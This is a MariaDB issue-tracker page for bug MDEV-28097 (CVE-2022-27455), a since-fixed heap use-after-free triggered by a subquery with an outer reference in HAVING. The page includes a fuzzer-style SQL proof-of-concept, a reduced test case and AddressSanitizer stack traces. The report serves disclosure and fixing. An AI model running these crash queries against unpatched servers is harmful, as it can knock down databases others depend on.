





MariaDB Server

MDEV-28097

use-after-free when WHERE has subquery with an outer reference in HAVING

▼ Details

Type:	 Bug
Status:	CLOSED (View Workflow)
Priority:	 Blocker
Resolution:	Fixed
Affects Version/s:	10.9.0, 10.4, 10.5, 10.6, 10.7
Fix Version/s:	10.4.25 , 10.5.16 , 10.6.8 , 10.7.4
Component/s:	Optimizer
Labels:	None
Environment:	Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37 +0200) x86_64 x86_64 x86_64 GNU/Linux

▼ Description

PoC:

```
CREATE TEMPORARY TABLE v0 ( v1 TEXT ( 60 ) NOT NULL ) ;
INSERT INTO v0 ( ) VALUES ( v1 IN ( 127 , -1 = v1 OR -1 , 0 ) ) , ( 0 ) ;
SELECT DISTINCT * FROM v0 WHERE '' IN ( SELECT + 'x' LIKE v1 HAVING + v1 LIKE v1 0
```

report (compiled with ASAN):

```
==9327==ERROR: AddressSanitizer: heap-use-after-free on address 0x6290000c8288
READ of size 1 at 0x6290000c8288 thread T17
#0 0x2b241e7 in my_wildcmp_8bit_impl /root/mariadb/strings/ctype-simple.c:9
#1 0x2b2397a in my_wildcmp_8bit /root/mariadb/strings/ctype-simple.c:1050:1
#2 0x16eea86 in charset_info_st::wildcmp(char const*, char const*, char con
#3 0x16eea86 in Item_func_like::val_int() /root/mariadb/sql/item_cmpfunc.cc
#4 0x1315e0d in Type_handler_int_result::Item_val_bool(Item*) const /root/m
#5 0x16ec0f7 in Item_cond_and::val_int() /root/mariadb/sql/item_cmpfunc.cc:
#6 0xdc6895 in JOIN::exec_inner() /root/mariadb/sql/sql_select.cc:4610:31
#7 0xdc344c in JOIN::exec() /root/mariadb/sql/sql_select.cc:4527:3
#8 0x1952e43 in subselect_single_select_engine::exec() /root/mariadb/sql/it
#9 0x1928ebb in Item_subselect::exec() /root/mariadb/sql/item_subselect.cc:
#10 0x1928ebb in Item_in_subselect::exec() /root/mariadb/sql/item_subselect
#11 0x193469a in Item_in_subselect::val_bool() /root/mariadb/sql/item_subse
```

```
#12 0x16bcbca in Item_in_optimizer::val_int() /root/mariadb/sql/item_cmpfun
#13 0x1675138 in Item_cache_int::cache_value() /root/mariadb/sql/item.cc:10
#14 0x1666bec in Item_cache_wrapper::cache() /root/mariadb/sql/item.cc:8839
#15 0x1666bec in Item_cache_wrapper::val_int() /root/mariadb/sql/item.cc:88
```

Issue Links

links to

 [CVE-2022-27455](#)

Activity

👤 Alice Sherepa added a comment - 2022-03-17 14:00

Thank you for the report!

I repeated on 10.4-10.8, with InnoDB, not reproducible with myisam.

10.2,10.3 do not except such syntax (HAVING a LIKE a).

no visible effect on non-debug build.

```
--source include/have_innodb.inc
```

```
CREATE TABLE t1 (a TEXT(60) NOT NULL ) engine=innodb;
```

```
INSERT INTO t1 VALUES ('1'),('0');
```

```
SELECT DISTINCT * FROM t1 WHERE "" IN (SELECT 'x' LIKE a HAVING a LIKE a) ;
```

10.4 069139a549a62f26d566c1ae

Version: '10.4.25-MariaDB-debug-log'


=====

==494298==ERROR: AddressSanitizer: heap-use-after-free on address 0x629000

READ of size 1 at 0x6290002c6288 thread T27

```
#0 0x5593c84de04f in my_wildcmp_8bit_impl /10.4/src/strings/ctype-simp
#1 0x5593c84de512 in my_wildcmp_8bit /10.4/src/strings/ctype-simple.c:
#2 0x5593c708cc14 in Item_func_like::val_int() /10.4/src/sql/item_cmpf
#3 0x5593c6d56a65 in Type_handler_int_result::Item_val_bool(Item*) con
#4 0x5593c6539b2b in Item::val_bool() /10.4/src/sql/item.h:1465
#5 0x5593c708a24b in Item_cond_and::val_int() /10.4/src/sql/item_cmpfu
#6 0x5593c68c3b50 in JOIN::exec_inner() /10.4/src/sql/sql_select.cc:44
#7 0x5593c68c29d9 in JOIN::exec() /10.4/src/sql/sql_select.cc:4324
#8 0x5593c71e2cb3 in subselect_single_select_engine::exec() /10.4/src/
#9 0x5593c71bdf2a in Item_subselect::exec() /10.4/src/sql/item_subsele
```

```
10.4 #0x5593c71ca892 in Item_in_subselect::exec() /10.4/src/sql/item_sub  
#11 0x5593c71ca892 in Item_in_subselect::val_bool() /10.4/src/sql/item
```

✓  Oleksandr Byelkin added a comment - 2022-04-29 14:02


OK to push

▼ People

Assignee:

 Sergei Golubchik

Reporter:

 Jingzhou Fu

Votes:

0 Vote for this issue

Watchers:

4 Start watching this issue

▼ Dates

Created:

2022-03-16 09:57

Updated:

2022-04-29 15:09

Resolved:

2022-04-29 15:09

▼ Git Integration

❗ Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.